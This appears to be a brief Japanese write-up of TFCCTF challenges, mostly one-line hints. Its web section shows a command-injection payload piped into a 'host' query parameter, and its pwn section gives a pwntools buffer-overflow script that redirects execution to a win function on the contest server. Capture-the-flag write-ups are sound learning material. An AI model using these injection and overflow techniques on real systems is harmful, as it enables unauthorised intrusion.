🦁
TFCCTF writeup
Crypto
BASIC
base91でデコードする
MAFIOSO
OBSCURE
1文字ずつカーソルで選択していくと隠れている文字が確認できる
Forensics
BBBBBBBBBB
with open("chall.jpg", "rb") as f:
data = f.read()
data = data.replace(b'BBBBBBBBBB', b'')
with open("chall2.jpg", "wb") as f:
f.write(data)
Reversing
RANDOM
Ghidraで実行ファイルを見てみると、入力値が0x539(1337)のとき、フラグを出力する関数を呼んでいるのが確認できた
SOURCE
stringsコマンドで一発
Web
ROBOTS AND MUSIC
robots.txtにフラグがあるパスが書かれている
PONG
http://01.linux.challenges.ctf.thefewchosen.com:49330/index.php?host=127.0.0.1|ls
のようにクエリにパイプしてコマンドを渡すことが可能です。
?host=127.0.0.1|ls ../../../
にフラグがありました。
Pwn
WINNER
Ghidraでファイルを見てみると、フラグを出力するwin関数が用意されているため、これを呼べれば勝ち。
戦略としてはユーザーの入力時にBOFを起こしてリターンアドレスをwin関数内に書き換えてやれば良さそう
GBDで入力時のスタック内のリターンアドレスの位置を確認すると、120個のオフセット後にリターンアドレスが配置されている
以下のようなスクリプトを書いた
from pwn import *
io = remote('01.linux.challenges.ctf.thefewchosen.com',49290)
io.sendline("A"*120 + "\xbb\x11\x40\x00\x00")
io.interactive()
Discussion